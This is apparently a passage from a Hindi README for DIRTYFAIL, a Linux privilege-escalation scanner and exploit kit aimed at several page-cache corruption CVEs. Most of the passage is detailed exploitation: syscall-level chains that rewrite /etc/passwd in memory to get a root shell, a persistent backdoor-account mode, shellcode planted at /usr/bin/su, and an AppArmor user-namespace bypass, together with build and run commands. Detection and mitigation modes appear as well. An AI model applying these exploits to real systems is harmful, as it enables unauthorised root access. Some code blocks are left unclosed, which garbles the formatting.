`1000` को `0000` में बदलने से (UID फ़ील्ड, किसी भी UID 1000–9999 के लिए ठीक 4 ASCII बाइट) glibc का `getpwnam()` उस उपयोगकर्ता के लिए uid=0 रिपोर्ट करता है। हालाँकि, PAM फिर भी डिस्क पर मौजूद `/etc/shadow` के विरुद्ध प्रमाणीकरण करता है (जो अछूता रहता है), इसलिए `su <user>` वास्तविक पासवर्ड पूछता है, उसे सत्यापित करता है, फिर `setuid(0)` करता है — और रूट पर पहुँच जाता है क्योंकि `/etc/passwd` की पेज-कैश प्रति कहती है कि हम रूट हैं।

`/etc/shadow` की अखंडता संरक्षित रहती है। डिस्क पर मौजूद `/etc/passwd` संरक्षित रहता है। केवल कर्नेल की RAM में `/etc/passwd` की प्रति दूषित होती है, और वह भी केवल `drop_caches` या रीबूट तक।

---

## 3. CVE-2026-43284 — Dirty Frag (xfrm-ESP)

* प्रकटीकरण: **2026-04-30 → 2026-05-08**
* मूल PoC (C): [V4bel/dirtyfrag](https://github.com/V4bel/dirtyfrag)
* शोधकर्ता: Hyunwoo Kim ([@v4bel](https://x.com/v4bel))
* कमिट द्वारा प्रस्तुत: `cac2661c53f3` (2017-01-17)
* कमिट द्वारा ठीक किया गया:      `f4c50a4034e6` (mainline net.git, merged 2026-05-07)
* प्रभावित होने की पुष्टि:   Ubuntu 24.04, RHEL 10.1, openSUSE Tumbleweed,
                        CentOS Stream 10, AlmaLinux 10, Fedora 44

### मूल कारण

`esp_input()` को किसी skb के गैर-रैखिक (non-linear) होने पर (अर्थात frags के साथ) इन-प्लेस AEAD डिक्रिप्शन से पहले `skb_cow_data()` को कॉल करना चाहिए। कोड पथ में एक शॉर्ट-सर्किट है:```c
if (!skb_cloned(skb)) {
    if (!skb_is_nonlinear(skb)) {
        nfrags = 1;
        goto skip_cow;
    } else if (!skb_has_frag_list(skb)) {        // ★ bug
        nfrags = skb_shinfo(skb)->nr_frags;
        nfrags++;
        goto skip_cow;
    }
}

यदि कोई पेज-कैश पेज skb के frag में splice किया गया है, तो 8-बाइट
डिक्रिप्शन उसके ऊपर किया जाता है।

**xfrm-ESP से अंतर**: जो 8 बाइट STORE होते हैं वे हैं
`fcrypt_decrypt(C, K)`, जहाँ `C` उस फ़ाइल ऑफ़सेट पर मौजूद
सिफरटेक्स्ट है और `K` उस RxRPC v1 टोकन की सत्र कुंजी है जिसे
हमलावर ने `add_key("rxrpc", ...)` के माध्यम से पंजीकृत किया था। हमलावर
STORE मान को सीधे नियंत्रित नहीं करता — उसे `K` को ब्रूट-फोर्स करना पड़ता है जब तक
`fcrypt_decrypt(C, K)` वांछित प्लेनटेक्स्ट उत्पन्न न कर दे।

`fcrypt` एंड्रयू फ़ाइल सिस्टम का एक सिफर है जिसमें **56-बिट कुंजी** और
8-बाइट ब्लॉक होता है। यह डिटर्मिनिस्टिक है; यह आसानी से यूज़र स्पेस में पोर्ट होता है; और
इसका कुंजी स्थान इतना छोटा है कि एक सीमित 8-बाइट लक्ष्य को
बाधा बजट के आधार पर मिलीसेकंड से सेकंड के भीतर
ब्रूट-फोर्स किया जा सकता है।

**महत्वपूर्ण बात यह है कि इस पथ को नेमस्पेस विशेषाधिकारों की आवश्यकता नहीं है** —
`add_key`, `socket(AF_RXRPC)`, `socket(AF_ALG)`, `splice` सभी
किसी भी अनप्रिविलेज्ड उपयोगकर्ता के लिए उपलब्ध हैं। RxRPC Ubuntu के
hardened-userns प्रोफ़ाइल (जहाँ xfrm-ESP अवरुद्ध है) पर इस अंतर को भरता है क्योंकि
`rxrpc.ko` डिफ़ॉल्ट Ubuntu बिल्ड में शामिल होता है।

### शोषण

पूरा एक्सप्लॉइट:

1. यूज़र-स्पेस में `K_A`, `K_B`, `K_C` को ब्रूट-फोर्स करें ताकि तीनों
   `/etc/passwd` ऑफ़सेट 4, 6, 8 पर STOREs उत्पन्न करें
   `"::"`, `"0:"`, `"0:GGGGGG:"` क्रमशः (last-write-wins)।
2. प्रत्येक `K_i` के लिए, `add_key` के साथ एक RxRPC v1 टोकन पंजीकृत करें,
   उसी प्रक्रिया में एक फर्जी UDP सर्वर के विरुद्ध फोर्ज्ड AF_RXRPC हैंडशेक करें,
   और splice के माध्यम से `rxkad_verify_packet_1` ट्रिगर करें।
3. अब `/etc/passwd` की पंक्ति 1 की पेज-कैश प्रति है
   `root::0:0:GGGGGG:/root:/bin/bash` — एक खाली पासवर्ड फ़ील्ड।
4. `pam_unix.so nullok` के साथ PAM खाली पासवर्ड स्वीकार करता है; `su -`
   एक रूट शेल देता है।

### DIRTYFAIL कवरेज

DIRTYFAIL इस CVE के लिए **दोनों** डिटेक्शन और एक पूर्ण PoC प्रदान करता है।

DIRTYFAIL का कार्यान्वयन `src/dirtyfrag_rxrpc.c` और
`src/fcrypt.c` में स्थित है:

- **fcrypt सिफर** (`fcrypt.c`): 56-बिट कुंजी, 8-बाइट ब्लॉक, 16-राउंड
  फ़ीस्टल; मानक rxkad प्रोटोकॉल S-boxes। इसमें एक सिंगल-कोर
  ब्रूट-फोर्स हार्नेस (~18 Mops/s) शामिल है जो कुंजी स्थान को तब तक खोजता है जब तक
  कोई उम्मीदवार प्लेनटेक्स्ट कॉलर-प्रदत्त प्रेडिकेट को संतुष्ट नहीं करता।
- **rxkad चेकसम** (`compute_csum_iv`, `compute_cksum`): कर्नेल
  फ़ॉर्मूला AF_ALG `pcbc(fcrypt)` के माध्यम से पुनरुत्पादित किया गया है ताकि वायर cksum
  हमारे फोर्ज्ड DATA पैकेट में `rxkad_verify_packet` की गेट को पार कर सके।
- **RxRPC v1 टोकन निर्माण** (`build_rxrpc_v1_token`): XDR-एन्कोडेड
  rxkad टोकन, `add_key("rxrpc", ...)` के माध्यम से हमारी
  ब्रूट-फोर्स्ड सत्र कुंजी के साथ पंजीकृत होता है।
- **AF_RXRPC क्लाइंट + UDP फेक-सर्वर**: क्लाइंट एक कॉल शुरू करता है,
  फेक-सर्वर (epoch, cid, callNumber) को पहले
  पैकेट से निकालता है और एक फोर्ज्ड CHALLENGE उत्सर्जित करता है ताकि क्लाइंट
  हमारी कुंजी के साथ `conn->rxkad.cipher` को प्राइम कर सके।
- **Splice ट्रिगर** (`do_one_trigger`): vmsplice फोर्ज्ड DATA वायर
  हेडर → `/etc/passwd` से 8 बाइट splice करें → splice पाइप → udp_srv
  → recvmsg कर्नेल को `rxkad_verify_packet_1` के माध्यम से चलाता है → 8-बाइट
  STORE।
- **चेन्ड-सिफरटेक्स्ट सुधार के साथ 3-splice चेन**: ब्रूट फोर्स
  K_A / K_B / K_C करें, पासों के बीच चेन्ड सिफरटेक्स्ट शिफ्ट लागू करते हुए
  (जब splice A बाइट 4..11 को ओवरराइट करता है, तो splice B का
  सिफरटेक्स्ट 6..13 पर `P_A[2..7]` से शुरू होता है; C के लिए भी B के विरुद्ध ऐसा ही)।

अंतिम PoC `/etc/passwd` की पंक्ति 1 को इस प्रकार बदलता है:```
root::0:0:GGGGG:/root:/bin/bash

**मुख्य डिज़ाइन निर्णय:**

- **बाहरी/आंतरिक विभाजन**: हर एक्सप्लॉइट कर्नेल के काम के लिए एक चाइल्ड फोर्क करता है। पैरेंट init नेमस्पेस में रहता है ताकि अंतिम `execlp("su", user)` REAL init-ns रूट तक पहुँचे। देखें [§8.5 आर्किटेक्चर](#85-architecture-outerinner-fork-based-bypass)।
- **पेज कैश वैश्विक है**: चाइल्ड अपने बायपास userns के अंदर से लिखता है, पैरेंट init ns से पढ़ता है; समान बाइट्स दिखाई देते हैं।
- **Env वेरिएबल पैरेंट → चाइल्ड स्टेट ले जाते हैं**: `DIRTYFAIL_INNER_MODE`, `DIRTYFAIL_TARGET_USER`, `DIRTYFAIL_K_{A,B,C}` (rxrpc), `DIRTYFAIL_LINE_OFF` आदि (बैकडोर)। `execv` स्टेज ट्रांज़िशन के दौरान environment को सुरक्षित रखता है।
- **रक्षात्मक साथी**: `--mitigate` वही ब्लैकलिस्ट्स + sysctl हार्डनिंग तैनात करता है जो डिस्ट्रोज़ आधिकारिक मिटिगेशन के रूप में भेजते हैं। `--scan` पता लगाता है जब caps LSM-ब्लॉक होते हैं और भ्रामक "VULNERABLE preconditions met" के बजाय "mitigated" रिपोर्ट करता है।

---

## 5. बिल्ड

### पूर्वापेक्षाएँ

* **Linux** (यह बाइनरी रनटाइम पर केवल Linux के लिए है)।
* `gcc` या `clang`, `make`।
* Linux UAPI हेडर — विशेष रूप से `<linux/xfrm.h>`, `<linux/netlink.h>`,
  `<linux/rtnetlink.h>`, `<linux/if.h>`।

| डिस्ट्रो            | इंस्टॉल                                              |
|-------------------|------------------------------------------------------|
| Debian / Ubuntu   | `sudo apt install build-essential linux-libc-dev`    |
| RHEL / CentOS     | `sudo dnf install gcc make kernel-headers glibc-devel` |
| Fedora            | `sudo dnf install gcc make kernel-headers`           |
| Arch              | `sudo pacman -S base-devel`                          |

### बिल्ड कमांड्स```sh
git clone https://github.com/<you>/DIRTYFAIL.git
cd DIRTYFAIL
make                # release build → ./dirtyfail
make debug          # -O0 -g3 for gdb
make static         # static link (musl-gcc recommended)
make clean

(install `musl-tools` on Debian/Ubuntu, or build musl from source).

---

## 6. उपयोग

`./dirtyfail --help` प्रामाणिक संदर्भ है; मोड श्रेणी के अनुसार विभाजित हैं:

**पहचान (सुरक्षित; कोई सिस्टम संशोधन नहीं):**

| मोड | यह क्या करता है |
|---|---|
| `--scan` | सभी पाँच डिटेक्टर चलाएँ (डिफ़ॉल्ट मोड) |
| `--scan --active` | प्रति CVE एक sentinel-file STORE probe जोड़ें — पूर्व-शर्तें पूर्ण होने और वास्तव में शोषण-योग्य होने के बीच अंतर करता है |
| `--scan --json` | stdout पर एक एकल JSON ऑब्जेक्ट उत्सर्जित करें (SIEM-अनुकूल); लॉग stderr पर जाते हैं |
| `--check-copyfail` / `--check-esp` / `--check-esp6` / `--check-rxrpc` / `--check-gcm` | केवल प्रति-CVE पहचान |

**शोषण (टाइप किए गए पुष्टिकरण द्वारा नियंत्रित; `/etc/passwd` पेज कैश को दूषित करता है):**

| मोड | यह क्या करता है |
|---|---|
| `--exploit-copyfail` | `algif_aead` 4-बाइट प्रिमिटिव के माध्यम से UID फ्लिप |
| `--exploit-esp` | xfrm-ESP v4 के माध्यम से UID फ्लिप (userns+CAP_NET_ADMIN चाहिए) |
| `--exploit-esp6` | xfrm-ESP v6 के माध्यम से UID फ्लिप |
| `--exploit-rxrpc` | rxkad fcrypt ब्रूट-फोर्स के माध्यम से रूट पासवर्ड फ़ील्ड खाली करें |
| `--exploit-gcm` | `rfc4106(gcm(aes))` सिंगल-बाइट प्रिमिटिव के माध्यम से UID फ्लिप |
| `--exploit-backdoor` | स्थायी (PERSISTENT): `dirtyfail::0:0:...:/:/bin/bash` डालें |
| `--exploit-su` | V4bel-शैली: `/usr/bin/su` एंट्री पॉइंट पर arch-विशिष्ट shellcode स्थापित करें। x86_64 का एंड-टू-एंड परीक्षण किया गया; aarch64 हार्डवेयर-अपरीक्षित रूप से भेजा जाता है (`DIRTYFAIL_AARCH64_TRUST_UNTESTED=1` के पीछे गेटेड) |

**सफाई / स्थिति निरीक्षण:**

| मोड | यह क्या करता है |
|---|---|
| `--cleanup` | `/etc/passwd` को पेज कैश से बाहर निकालें (`fadvise` + `drop_caches` यदि root हो) |
| `--cleanup-backdoor` | स्टेट फ़ाइल से मूल `/etc/passwd` पंक्ति को पुनर्स्थापित करें |
| `--cleanup-su` | स्टेट फ़ाइल से `/usr/bin/su` एंट्री-पॉइंट बाइट्स पुनर्स्थापित करें |
| `--list-state` | बताएं कि वर्तमान में क्या (यदि कुछ भी) स्थापित है; साइड-इफ़ेक्ट-मुक्त |

**रक्षात्मक (root आवश्यक):**

| मोड | यह क्या करता है |
|---|---|
| `--mitigate` | `algif_aead`/`esp4`/`esp6`/`rxrpc` मॉड्यूल को ब्लैकलिस्ट करें; `apparmor_restrict_unprivileged_userns=1` सेट करें; drop_caches. दुष्प्रभाव: IPsec, AFS को तोड़ता है |
| `--cleanup-mitigate` | `--mitigate` द्वारा स्थापित modprobe/sysctl फ़ाइलों को हटाएँ |

**सामान्य विकल्प:**

| फ़्लैग | प्रभाव |
|---|---|
| `--no-shell` | सफल शोषण के बाद, `execve su` न करें — सत्यापित करें और पूर्ववत करें |
| `--no-revert` | `--no-shell` के साथ, ऑटो-रिवर्ट भी छोड़ें (container-escape डेमो द्वारा उपयोग किया जाता है) |
| `--active` | `--scan`/`--check-*` में सक्रिय sentinel-STORE प्रोब जोड़ें |
| `--json` | (`--scan` के साथ) मशीन-पठनीय आउटपुट उत्सर्जित करें |
| `--no-color` | ANSI रंग अक्षम करें |
| `--aa-bypass` | (केवल DEBUG) AppArmor unprivileged-userns बाईपास को बलपूर्वक लागू करें — शोषण यह आंतरिक रूप से करते हैं, §8.5 देखें |

### पहचान उदाहरण

सादा स्कैन (केवल पूर्व-शर्तें — तेज़, ~1s):```sh
./dirtyfail --scan

SIEM/फ्लीट इन्जेशन के लिए JSON:```sh
$ ./dirtyfail --scan --active --json
{
  "tool": "dirtyfail",
  "version": "0.1.0",
  "hostname": "server-01",
  "kernel": "6.19.10-300.fc44.x86_64",
  "machine": "x86_64",
  "active_probes": true,
  "results": [
    {"cve": "CVE-2026-31431",     "name": "copyfail",        "status": "vulnerable"},
    {"cve": "CVE-2026-43284",     "name": "dirtyfrag-esp",   "status": "vulnerable"},
    {"cve": "CVE-2026-43284-v6",  "name": "dirtyfrag-esp6",  "status": "vulnerable"},
    {"cve": "CVE-2026-43500",     "name": "dirtyfrag-rxrpc", "status": "vulnerable"},
    {"cve": "CVE-2026-31431-gcm", "name": "copyfail-gcm",    "status": "vulnerable"}
  ],
  "summary": "vulnerable"
}

प्रत्येक एक्सप्लॉइट `DIRTYFAIL` + (जहां लागू हो) के लिए प्रॉम्प्ट करता है
`YES_BREAK_SSH` किसी भी पेज-कैश संशोधन से पहले।

### स्थिति निरीक्षण + सफाई```sh
./dirtyfail --list-state          # what's currently planted? (side-effect free)
./dirtyfail --cleanup             # fadvise(DONTNEED) + drop_caches if root
./dirtyfail --cleanup-backdoor    # restore /etc/passwd from .dirtyfail.state
./dirtyfail --cleanup-su          # restore /usr/bin/su from .dirtyfail-su.state

---

## 7. DIRTYFAIL प्रत्येक CVE का पता कैसे लगाता है

### Copy Fail (सक्रिय सेंटिनल प्रोब)

पता लगाना वास्तव में `/tmp` में एक सेंटिनल फ़ाइल के विरुद्ध प्रिमिटिव को ट्रिगर करता है:

1. `socket(AF_ALG, SOCK_SEQPACKET, 0)` का प्रोब करें और `authencesn(hmac(sha256), cbc(aes))` से `bind` करें।
2. `/tmp` में 4 KiB की सेंटिनल फ़ाइल बनाएँ और उसके पहले पृष्ठ को कैश में फॉल्ट करें।
3. इसके विरुद्ध पूर्ण एक्सप्लॉइट प्रिमिटिव चलाएँ: `seqno_lo = "PWND"` के साथ `sendmsg` AAD, AF_ALG op सॉकेट में सेंटिनल के 32 बाइट्स splice करें, और scratch write को फायर करने के लिए `recv` चलाएँ।
4. सेंटिनल को पुनः पढ़ें और पहले पृष्ठ में कहीं भी `PWND` खोजें।

मार्कर मिला ⇒ संवेदनशील (vulnerable)। मार्कर अनुपस्थित लेकिन पृष्ठ सामग्री भिन्न ⇒ प्रिमिटिव आंशिक रूप से फायर हुआ (फिर भी संवेदनशील)। पृष्ठ समान ⇒ इस कर्नेल पर संवेदनशील नहीं।

### Dirty Frag xfrm-ESP (पूर्व-शर्त-आधारित — या `--active` के साथ सक्रिय)

डिफ़ॉल्ट `--scan` केवल पूर्व-शर्त-आधारित है — हम डिटेक्ट मोड में यूज़र नेमस्पेस में प्रवेश नहीं करते (इससे उस नेमस्पेस के अंदर नेटवर्किंग पर साइड-इफेक्ट होगा)। हम जाँचते हैं:

* कर्नेल संस्करण प्रभावित विंडो के भीतर है
* `esp4` / `esp6` वर्तमान में लोडेड या ऑटोलोडेबल है
* अनप्रिविलेज्ड यूज़र नेमस्पेस निर्माण सफल होता है (fork → चाइल्ड `unshare(CLONE_NEWUSER)` के माध्यम से प्रोब किया जाता है)
* AppArmor `apparmor_userns_caps_blocked()` false लौटाता है

चारों उपस्थित ⇒ VULNERABLE (पूर्व-शर्तें पूरी हुईं)।

`--scan --active` इसे सेंटिनल-STORE प्रोब के साथ विस्तारित करता है: हम एक चाइल्ड fork करते हैं जो AA बाइपास को आर्म करता है, एक नए user/net नेमस्पेस में प्रवेश करता है, एक XFRM SA पंजीकृत करता है, और `/tmp/dirtyfail-esp-probe.XXXXXX` सेंटिनल फ़ाइल के विरुद्ध ESP-in-UDP ट्रिगर को फायर करता है। पैरेंट सेंटिनल को पुनः पढ़ता है और मार्कर बाइट्स की तलाश करता है:

* मार्कर लैंड हुआ → कर्नेल STORE पहुंच योग्य है → **VULNERABLE**
* पृष्ठ बरकरार → कर्नेल पैच प्रभाव में है → **NOT VULNERABLE**
* AA बाइपास अस्वीकृत → **PRECOND_FAIL** (LSM-शमित)

बैकपोर्टेड-पैच कर्नेल को बिना पैच वाले से अलग करने का यह एकमात्र तरीका है, बिना `/etc/passwd` के विरुद्ध पूर्ण UID-flip एक्सप्लॉइट चलाए। यही पैटर्न `--active` के अंतर्गत ESP v6, RxRPC, और GCM के लिए उपयोग किया जाता है।

### Dirty Frag RxRPC (पूर्व-शर्त-आधारित — या `--active` के साथ सक्रिय)

पूर्व-शर्तें:
* `rxrpc` `/proc/modules` में या ऑटोलोडेबल है
* `socket(AF_RXRPC, SOCK_DGRAM, 0)` सफल होता है

सक्रिय प्रोब (`--active`): AA बाइपास के माध्यम से fork करता है, एक मनमाने 8-बाइट मान के साथ rxrpc सत्र कुंजी पंजीकृत करता है, `/tmp` सेंटिनल के विरुद्ध एक CHALLENGE + DATA जालसाजी भेजता है, और spliced 8-बाइट विंडो के अंदर किसी भी बाइट परिवर्तन की तलाश करता है। हम यह अनुमान लगाने की कोशिश नहीं करते कि क्या लैंड हुआ — कोई भी संशोधन कर्नेल STORE के फायर होने की पुष्टि करता है।

### Copy Fail GCM वैरिएंट + ESP v6 — समान आकार

GCM वैरिएंट सक्रिय प्रोब एक मनमाने IV के साथ transport-mode SA स्थापित करता है और `/tmp` सेंटिनल के विरुद्ध `gcm_trigger` फायर करता है; sentinel[0] पर कोई भी बाइट परिवर्तन पहुंच की पुष्टि करता है। ESP v6 प्रोब प्रति कर्नेल बिल्ड `V6_STORE_SHIFT` को भी ऑटो-कैलिब्रेट करता है (`src/dirtyfrag_esp6.c` में `calibrate_v6_shift` देखें) — विभिन्न डिस्ट्रोज़ के `esp6_input` बिल्ड STORE को spliced क्षेत्र के अंदर थोड़े भिन्न ऑफसेट पर रखते हैं, और कैलिब्रेशन प्रोब वास्तविक एक्सप्लॉइट फायर होने से पहले सटीक ऑफसेट खोज लेता है।

---

## 8. DIRTYFAIL प्रत्येक CVE का शोषण कैसे करता है

### Copy Fail एक्सप्लॉइट (`copyfail.c`)

`algif_aead` के माध्यम से एकल 4-बाइट STORE:```
                                          [/etc/passwd page cache]
 user  ──sendmsg(AAD = SPI||"0000")──▶ AF_ALG op
       ──splice(passwd_fd, 32B)──────▶ AF_ALG op (in-place dst SGL)
       ──recv()─────────────────────▶ kernel runs authencesn_decrypt
                                        scratch write: "0000" → uid_off
                                        EBADMSG returned to user (we ignore)
 user  ──open(passwd, RDONLY)─read──▶ "kara:x:0000:1000:..."   ◄─ page cache
 user  ──execlp("su", "kara")──────▶ PAM ✓ on /etc/shadow → setuid(0)
                                       ─────► root shell

फिर नेमस्पेस से बाहर निकलें, पैरेंट से `execlp("su", user)` — कॉपी फेल जैसा ही अंतिम चरण।

### Dirty Frag RxRPC एक्सप्लॉइट (`dirtyfrag_rxrpc.c` + `fcrypt.c`)```
                                          [/etc/passwd page cache]
 user-space brute force of K_A, K_B, K_C such that fcrypt_decrypt(C, K)
   produces predicate-satisfying plaintexts for offsets 4, 6, 8
   (chained-ciphertext correction across passes)

 fork → child enters new userns:
   unshare(USER|NET); setup uid_map; ifup lo
   socket(AF_RXRPC) — autoload rxrpc.ko
   for each (off, K) in [(4,K_A), (6,K_B), (8,K_C)]:
     add_key("rxrpc", "df-evil<n>", v1_token{session_key=K})
     udp_srv = bind 127.0.0.1:port_S
     rxsk    = AF_RXRPC + SECURITY_KEY=df-evil<n> + bind :port_C
     rxsk → sendmsg(PINGPING)              triggers handshake init
     udp_srv ← receives kernel's first DATA-0
       extract (epoch, cid, callNumber)
     udp_srv → forged CHALLENGE             → rxsk auto-RESPONSE
                                               primes conn->rxkad.cipher with K
     csum_iv = AF_ALG pcbc(fcrypt)(epoch||cid||0||sec_ix, IV=K)
     cksum_h = AF_ALG pcbc(fcrypt)(call_id||x, IV=csum_iv)[1] >> 16
     vmsplice DATA hdr (28B) → pipe
     splice  /etc/passwd@off (8B) → pipe
     splice  pipe (36B) → udp_srv
     udp loopback → rxsk
       recvmsg → rxrpc_input → rxkad_verify_packet
         skb has frags, no frag_list → goto skip_unshare    (THE BUG)
         skcipher_request_set_crypt(req, sg=page+off, sg=page+off, 8, iv=0)
         crypto_skcipher_decrypt: pcbc(fcrypt)
           page[off..off+8] = fcrypt_decrypt(C_actual, K)    ◄─ 8-byte STORE

 child exits, parent verifies /etc/passwd[4..5] == "::"
 parent: execlp("su", "-")
   PAM common-auth: pam_unix.so nullok    → root has empty password
   su  → setresuid(0,0,0) → exec /bin/bash
                                       ─────► root shell

आर्किटेक्चर मैट्रिक्स:

* **x86_64 (56 बाइट्स, 14 श्रृंखलाबद्ध 4-बाइट लेखन)** — परीक्षित
  एंड-टू-एंड Fedora 44 पर (`uid=0(root) gid=0(root) ...
  context=unconfined_u:unconfined_r:unconfined_t`)। शेलकोड
  `shellcode_x86_64[]` में है।
* **aarch64 (80 बाइट्स, 20 निर्देश)** — हाथ से एन्कोडेड
  ARMv8-A संदर्भ से, **हार्डवेयर पर कभी निष्पादित नहीं किया गया**। गेटेड
  `DIRTYFAIL_AARCH64_TRUST_UNTESTED=1` के पीछे। स्रोत
  `tools/exploit_su_aarch64.S` में सामुदायिक सत्यापन हेतु — असेंबल
  `aarch64-linux-gnu-as` के साथ करें और पुष्टि करें कि बाइट अनुक्रम मेल खाता है
  `shellcode_aarch64[]` से।
* बाकी सब → preconds_fail.

स्टेट फ़ाइल `/var/tmp/.dirtyfail-su.state` मूल
एंट्री-पॉइंट बाइट्स संग्रहीत करती है ताकि `--cleanup-su` पुनर्स्थापित कर सके। `--list-state`
इस फ़ाइल (और बैकडोर की) का निरीक्षण करता है बिना कुछ छुए।

यदि सत्यापन चरण पाता है कि पेज कैश लगाए गए
शेलकोड से मेल नहीं खाता (कर्नल पैच किया गया है, AF_ALG ब्लैकलिस्टेड है, आदि), तो स्वतः-पुनर्स्थापना
तुरंत सक्रिय होती है और स्टेट फ़ाइल हटा दी जाती है — इसके बाद ऑपरेटर को
cleanup-su चलाने की आवश्यकता नहीं है।

---

## 8.5 आर्किटेक्चर: बाहरी/आंतरिक फोर्क-आधारित बाईपास

सभी पाँच शोषण मोड संभालने के लिए एक सामान्य आर्किटेक्चर साझा करते हैं
Ubuntu के `apparmor_restrict_unprivileged_userns=1` नीति को बिना
पोस्ट-एक्सप्लॉइट `su` को ऐसे userns में फँसाए जहाँ वह
वास्तविक init-ns रूट तक नहीं पहुँच सकता।

### समस्या

एक सरल बाईपास *पूरी* `dirtyfail` प्रक्रिया को एक नए
यूज़र नेमस्पेस में `unshare(CLONE_NEWUSER)` के ज़रिए डाल देता है। यह पंजीकृत करने के लिए पर्याप्त है
XFRM SA और स्प्लाइस ट्रिगर चलाना — लेकिन इसका मतलब यह भी है कि आगे चलकर
`execlp("su", user)` userns के अंदर चलता है, जहाँ uid 0 को इसके माध्यम से
`uid_map "0 1000 1"` ऑपरेटर के बाहरी uid (1000) पर मैप किया जाता है। PAM का
`setresuid(0)` फिर userns-uid-0-mapped-to-1000 पर पहुँचता है, जो
**नहीं** है वास्तविक init-ns रूट — `cat /etc/shadow` EACCES लौटाता है,
शेल वास्तव में विशेषाधिकार प्राप्त ऑपरेशन नहीं कर सकता।

### समाधान: बाहरी/आंतरिक विभाजन```
parent (dirtyfail, init ns)                 child (bypass userns)
─────────────────────────                   ─────────────────────
prompts (DIRTYFAIL / YES_BREAK_SSH)
resolve target (uid_off, K_A/K_B/K_C, ...)
setenv DIRTYFAIL_INNER_MODE=...
setenv DIRTYFAIL_TARGET_USER=...
fork ─────────────────────────────────────► change_onexec("crun")
                                             execv self ─► STAGE-1
                                                            execv self ─► STAGE-2
                                                                          unshare(USER|NET)
                                                                          uid_map / capset
                                                                          ifup lo
                                                                          main() detects INNER_MODE
                                                                          dispatch <mode>_inner()
                                                                          register XFRM SA
                                                                          splice trigger → page cache STORE
                                                                          _exit(DF_EXPLOIT_OK)
waitpid ◄───────────────────────────────── (child reaped)
read /etc/passwd (page cache is global)
verify modification visible
if do_shell:
  execlp("su", user) ← runs IN INIT NS
                       PAM auth → setresuid(0)
                       → REAL init-ns root shell
else:
  try_revert_passwd_page_cache

### Dirty Frag RxRPC (CVE-2026-43500)

1. **अभी तक कोई अपस्ट्रीम पैच नहीं है।** शोधकर्ता का पैच lkml पर है; लिखे जाने के
समय (2026-05-08) तक मर्ज नहीं किया गया है।
2. **अंतरिम**: ब्लैकलिस्ट करें `rxrpc`:   ```sh
sudo tee /etc/modprobe.d/dirtyfrag-rxrpc.conf <<'EOF'
install rxrpc /bin/false
EOF
sudo rmmod rxrpc 2>/dev/null
sudo sysctl vm.drop_caches=3

### या `dirtyfail --mitigate` का उपयोग करें

माइटिगेशन का वही सेट एक टाइप-पुष्टि-गेटेड
रक्षात्मक मोड में लपेटा गया है:```sh
sudo ./dirtyfail --mitigate